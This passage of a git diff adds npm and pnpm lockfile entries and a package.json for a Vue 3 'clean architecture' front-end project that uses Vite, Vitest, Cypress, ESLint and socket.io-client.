"sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-6.1.0.tgz", + "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/wrap-ansi/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmmirror.com/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/xml-name-validator/-/xml-name-validator-4.0.0.tgz", + "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true, + "license": "MIT" + }, + "node_modules/xmlhttprequest-ssl": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", + "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmmirror.com/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, + "node_modules/yauzl/node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmmirror.com/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zip-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/zip-stream/-/zip-stream-6.0.1.tgz", + "integrity": "sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "archiver-utils": "^5.0.0", + "compress-commons": "^6.0.2", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + } + } +} diff --git a/a5_za_sf_finessa/package.json b/a5_za_sf_finessa/package.json new file mode 100644 index 0000000..1e297c3 --- /dev/null +++ b/a5_za_sf_finessa/package.json @@ -0,0 +1,58 @@ +{ + "name": "vue3-clean-architecture", + "version": "0.0.0", + "private": true, + "scripts": { + "dev": "vite", + "build": "run-p type-check build-only", + "preview": "vite preview", + "test:unit": "vitest --environment jsdom --root src/", + "test:e2e": "start-server-and-test preview :4173 'cypress run --e2e'", + "test:e2e:dev": "start-server-and-test 'vite dev --port 4173' :4173 'cypress open --e2e'", + "build-only": "vite build", + "type-check": "vue-tsc --noEmit -p tsconfig.vitest.json --composite false", + "lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore", + "zip": "node zip.js", + "prod": "pnpm run build && pnpm run zip" + }, + "dependencies": { + "@types/lodash": "^4.17.12", + "axios": "^1.7.7", + "bootstrap": "^5.3.3", + "install": "^0.13.0", + "lodash": "^4.17.21", + "mitt": "^3.0.1", + "pinia": "^2.2.2", + "socket.io-client": "^4.8.1", + "uuid": "^13.0.0", + "vue": "^3.2.45", + "vue-i18n": "^10.0.4", + "vue-router": "^4.1.6", + "vue-scrollto": "^2.20.0", + "ws": "^8.18.0" + }, + "devDependencies": { + "@rushstack/eslint-patch": "^1.1.4", + "@types/jsdom": "^20.0.1", + "@types/node": "^18.11.12", + "@types/uuid": "^11.0.0", + "@vitejs/plugin-vue": "^4.0.0", + "@vue/eslint-config-prettier": "^7.0.0", + "@vue/eslint-config-typescript": "^11.0.0", + "@vue/test-utils": "^2.2.6", + "@vue/tsconfig": "^0.1.3", + "archiver": "^7.0.1", + "cypress": "^12.0.2", + "eslint": "^8.22.0", + "eslint-plugin-cypress": "^2.12.1", + "eslint-plugin-vue": "^9.3.0", + "jsdom": "^20.0.3", + "npm-run-all": "^4.1.5", + "prettier": "^2.7.1", + "start-server-and-test": "^1.15.2", + "typescript": "~4.7.4", + "vite": "^4.0.0", + "vitest": "^0.25.6", + "vue-tsc": "^1.0.12" + } +} diff --git a/a5_za_sf_finessa/pnpm-lock.yaml b/a5_za_sf_finessa/pnpm-lock.yaml new file mode 100644 index 0000000..33c0f6a --- /dev/null +++ b/a5_za_sf_finessa/pnpm-lock.yaml @@ -0,0 +1,5271 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: + dependencies: + '@types/lodash': + specifier: ^4.17.12 + version: 4.17.12 + axios: + specifier: ^1.7.7 + version: 1.7.7 + bootstrap: + specifier: ^5.3.3 + version: 5.3.3(@popperjs/core@2.11.8) + install: + specifier: ^0.13.0 + version: 0.13.0 + lodash: + specifier: ^4.17.21 + version: 4.17.21 + mitt: + specifier: ^3.0.1 + version: 3.0.1 + pinia: + specifier: ^2.2.2 + version: 2.2.2(typescript@4.7.4)(vue@3.5.3(typescript@4.7.4)) + socket.io-client: + specifier: ^4.8.1 + version: 4.8.1 + uuid: + specifier: ^13.0.0 + version: 13.0.0 + vue: + specifier: ^3.2.45 + version: 3.5.3(typescript@4.7.4) + vue-i18n: + specifier: ^10.0.4 + version: 10.0.4(vue@3.5.3(typescript@4.7.4)) + vue-router: + specifier: ^4.1.6 + version: 4.4.3(vue@3.5.3(typescript@4.7.4)) + vue-scrollto: + specifier: ^2.20.0 + version: 2.20.0 + ws: + specifier: ^8.18.0 + version: 8.18.0 + devDependencies: + '@rushstack/eslint-patch': + specifier: ^1.1.4 + version: 1.10.4 + '@types/jsdom': + specifier: ^20.0.1 + version: 20.0.1 + '@types/node': + specifier: ^18.11.12 + version: 18.19.50 + '@types/uuid': + specifier: ^11.0.0 + version: 11.0.0 + '@vitejs/plugin-vue': + specifier: ^4.0.0 + version: 4.6.2(vite@4.5.3(@types/node@18.19.50))(vue@3.5.3(typescript@4.7.4)) + '@vue/eslint-config-prettier': + specifier: ^7.0.0 + version: 7.1.0(eslint@8.57.0)(prettier@2.8.8) + '@vue/eslint-config-typescript': + specifier: ^11.0.0 + version: 11.0.3(eslint-plugin-vue@9.28.0(eslint@8.57.0))(eslint@8.57.0)(typescript@4.7.4) + '@vue/test-utils': + specifier: ^2.2.6 + version: 2.4.6 + '@vue/tsconfig': + specifier: ^0.1.3 + version: 0.1.3(@types/node@18.19.50) + archiver: + specifier: ^7.0.1 + version: 7.0.1 + cypress: + specifier: ^12.0.2 + version: 12.17.4 + eslint: + specifier: ^8.22.0 + version: 8.57.0 + eslint-plugin-cypress: + specifier: ^2.12.1 + version: 2.15.2(eslint@8.57.0) + eslint-plugin-vue: + specifier: ^9.3.0 + version: 9.28.0(eslint@8.57.0) + jsdom: + specifier: ^20.0.3 + version: 20.0.3 + npm-run-all: + specifier: ^4.1.5 + version: 4.1.5 + prettier: + specifier: ^2.7.1 + version: 2.8.8 + start-server-and-test: + specifier: ^1.15.2 + version: 1.15.5 + typescript: + specifier: ~4.7.4 + version: 4.7.4 + vite: + specifier: ^4.0.0 + version: 4.5.3(@types/node@18.19.50) + vitest: + specifier: ^0.25.6 + version: 0.25.8(jsdom@20.0.3) + vue-tsc: + specifier: ^1.0.12 + version: 1.8.27(typescript@4.7.4) + +packages: + + '@babel/helper-string-parser@7.24.8': + resolution: {integrity: sha512-pO9KhhRcuUyGnJWwyEgnRJTSIZHiT+vMD0kPeD+so0l7mxkMT19g3pjY9GTnHySck/hDzq+dtW/4VgnMkippsQ==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.24.7': + resolution: {integrity: sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.25.6': + resolution: {integrity: sha512-trGdfBdbD0l1ZPmcJ83eNxB9rbEax4ALFTF7fN386TMYbeCQbyme5cOEXQhbGXKebwGaB/J52w1mrklMcbgy6Q==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/types@7.25.6': + resolution: {integrity: sha512-/l42B1qxpG6RdfYf343Uw1vmDjeNhneUXtzhojE7pDgfpEypmRhI6j1kr17XCVv4Cgl9HdAiQY2x0GwKm7rWCw==} + engines: {node: '>=6.9.0'} + + '@colors/colors@1.5.0': + resolution: {integrity: sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==} + engines: {node: '>=0.1.90'} + + '@cypress/request@2.88.12': + resolution: {integrity: sha512-tOn+0mDZxASFM+cuAP9szGUGPI1HwWVSvdzm7V4cCsPdFTx6qMj29CwaQmRAMIEhORIUBFBsYROYJcveK4uOjA==} + engines: {node: '>= 6'} + + '@cypress/xvfb@1.2.4': + resolution: {integrity: sha512-skbBzPggOVYCbnGgV+0dmBdW/s77ZkAOXIC1knS8NagwDjBrNC1LuXtQJeiN6l+m7lzmHtaoUw/ctJKdqkG57Q==} + + '@esbuild/android-arm64@0.18.20': + resolution: {integrity: sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==} + engines: {node: '>=12'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.18.20': + resolution: {integrity: sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==} + engines: {node: '>=12'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.18.20': + resolution: {integrity: sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==} + engines: {node: '>=12'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.18.20': + resolution: {integrity: sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.18.20': + resolution: {integrity: sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.18.20': + resolution: {integrity: sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==} + engines: {node: '>=12'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.18.20': + resolution: {integrity: sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.18.20': + resolution: {integrity: sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.18.20': + resolution: {integrity: sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==} + engines: {node: '>=12'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.18.20': + resolution: {integrity: sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==} + engines: {node: '>=12'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.18.20': + resolution: {integrity: sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==} + engines: {node: '>=12'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.18.20': + resolution: {integrity: sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==} + engines: {node: '>=12'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.18.20': + resolution: {integrity: sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.18.20': + resolution: {integrity: sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==} + engines: {node: '>=12'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.18.20': + resolution: {integrity: sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==} + engines: {node: '>=12'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.18.20': + resolution: {integrity: sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==} + engines: {node: '>=12'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-x64@0.18.20': + resolution: {integrity: sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==} + engines: {node: '>=12'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-x64@0.18.20': + resolution: {integrity: sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==} + engines: {node: '>=12'} + cpu: [x64] + os: [openbsd] + + '@esbuild/sunos-x64@0.18.20': + resolution: {integrity: sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.18.20': + resolution: {integrity: sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.18.20': + resolution: {integrity: sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==} + engines: {node: '>=12'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.18.20': + resolution: {integrity: sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [win32] + + '@eslint-community/eslint-utils@4.4.0': + resolution: {integrity: sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 + + '@eslint-community/regexpp@4.11.0': + resolution: {integrity: sha512-G/M/tIiMrTAxEWRfLfQJMmGNX28IxBg4PBz8XqQhqUHLFI6TL2htpIB1iQCj144V5ee/JaKyT9/WZ0MGZWfA7A==} + engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} + + '@eslint/eslintrc@2.1.4': + resolution: {integrity: sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + '@eslint/js@8.57.0': + resolution: {integrity: sha512-Ys+3g2TaW7gADOJzPt83SJtCDhMjndcDMFVQ/Tj9iA1BfJzFKD9mAUXT3OenpuPHbI6P/myECxRJrofUsDx/5g==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + '@hapi/hoek@9.3.0': + resolution: {integrity: sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==} + + '@hapi/topo@5.1.0': + resolution: {integrity: sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==} + + '@humanwhocodes/config-array@0.11.14': + resolution: {integrity: sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==} + engines: {node: '>=10.10.0'} + deprecated: Use @eslint/config-array instead + + '@humanwhocodes/module-importer@1.0.1': + resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} + engines: {node: '>=12.22'} + + '@humanwhocodes/object-schema@2.0.3': + resolution: {integrity: sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==} + deprecated: Use @eslint/object-schema instead + + '@intlify/core-base@10.0.4': + resolution: {integrity: sha512-GG428DkrrWCMhxRMRQZjuS7zmSUzarYcaHJqG9VB8dXAxw4iQDoKVQ7ChJRB6ZtsCsX3Jse1PEUlHrJiyQrOTg==} + engines: {node: '>= 16'} + + '@intlify/message-compiler@10.0.4': + resolution: {integrity: sha512-AFbhEo10DP095/45EauinQJ5hJ3rJUmuuqltGguvc3WsvezZN+g8qNHLGWKu60FHQVizMrQY7VJ+zVlBXlQQkQ==} + engines: {node: '>= 16'} + + '@intlify/shared@10.0.4': + resolution: {integrity: sha512-ukFn0I01HsSgr3VYhYcvkTCLS7rGa0gw4A4AMpcy/A9xx/zRJy7PS2BElMXLwUazVFMAr5zuiTk3MQeoeGXaJg==} + engines: {node: '>= 16'} + + '@isaacs/cliui@8.0.2': + resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} + engines: {node: '>=12'} + + '@jridgewell/sourcemap-codec@1.5.0': + resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==} + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@one-ini/wasm@0.1.1': + resolution: {integrity: sha512-XuySG1E38YScSJoMlqovLru4KTUNSjgVTIjyh7qMX6aNN5HY5Ct5LhRJdxO79JtTzKfzV/bnWpz+zquYrISsvw==} + + '@pkgjs/parseargs@0.11.0': + resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==} + engines: {node: '>=14'} + + '@popperjs/core@2.11.8': + resolution: {integrity: sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==} + + '@rushstack/eslint-patch@1.10.4': + resolution: {integrity: sha512-WJgX9nzTqknM393q1QJDJmoW28kUfEnybeTfVNcNAPnIx210RXm2DiXiHzfNPJNIUUb1tJnz/l4QGtJ30PgWmA==} + + '@sideway/address@4.1.5': + resolution: {integrity: sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q==} + + '@sideway/formula@3.0.1': + resolution: {integrity: sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==} + + '@sideway/pinpoint@2.0.0': + resolution: {integrity: sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==} + + '@socket.io/component-emitter@3.1.2': + resolution: {integrity: sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==} + + '@tootallnate/once@2.0.0': + resolution: {integrity: sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==} + engines: {node: '>= 10'} + + '@types/chai-subset@1.3.5': + resolution: {integrity: sha512-c2mPnw+xHtXDoHmdtcCXGwyLMiauiAyxWMzhGpqHC4nqI/Y5G2XhTampslK2rb59kpcuHon03UH8W6iYUzw88A==} + + '@types/chai@4.3.19': + resolution: {integrity: sha512-2hHHvQBVE2FiSK4eN0Br6snX9MtolHaTo/batnLjlGRhoQzlCL61iVpxoqO7SfFyOw+P/pwv+0zNHzKoGWz9Cw==} + + '@types/jsdom@20.0.1': + resolution: {integrity: sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ==} + + '@types/json-schema@7.0.15': + resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} + + '@types/lodash@4.17.12': + resolution: {integrity: sha512-sviUmCE8AYdaF/KIHLDJBQgeYzPBI0vf/17NaYehBJfYD1j6/L95Slh07NlyK2iNyBNaEkb3En2jRt+a8y3xZQ==} + + '@types/node@16.18.108': + resolution: {integrity: sha512-fj42LD82fSv6yN9C6Q4dzS+hujHj+pTv0IpRR3kI20fnYeS0ytBpjFO9OjmDowSPPt4lNKN46JLaKbCyP+BW2A==} + + '@types/node@18.19.50': + resolution: {integrity: sha512-xonK+NRrMBRtkL1hVCc3G+uXtjh1Al4opBLjqVmipe5ZAaBYWW6cNAiBVZ1BvmkBhep698rP3UM3aRAdSALuhg==} + + '@types/semver@7.5.8': + resolution: {integrity: sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==} + + '@types/sinonjs__fake-timers@8.1.1': + resolution: {integrity: sha512-0kSuKjAS0TrGLJ0M/+8MaFkGsQhZpB6pxOmvS3K8FYI72K//YmdfoW9X2qPsAKh1mkwxGD5zib9s1FIFed6E8g==} + + '@types/sizzle@2.3.8': + resolution: {integrity: sha512-0vWLNK2D5MT9dg0iOo8GlKguPAU02QjmZitPEsXRuJXU/OGIOt9vT9Fc26wtYuavLxtO45v9PGleoL9Z0k1LHg==} + + '@types/tough-cookie@4.0.5': + resolution: {integrity: 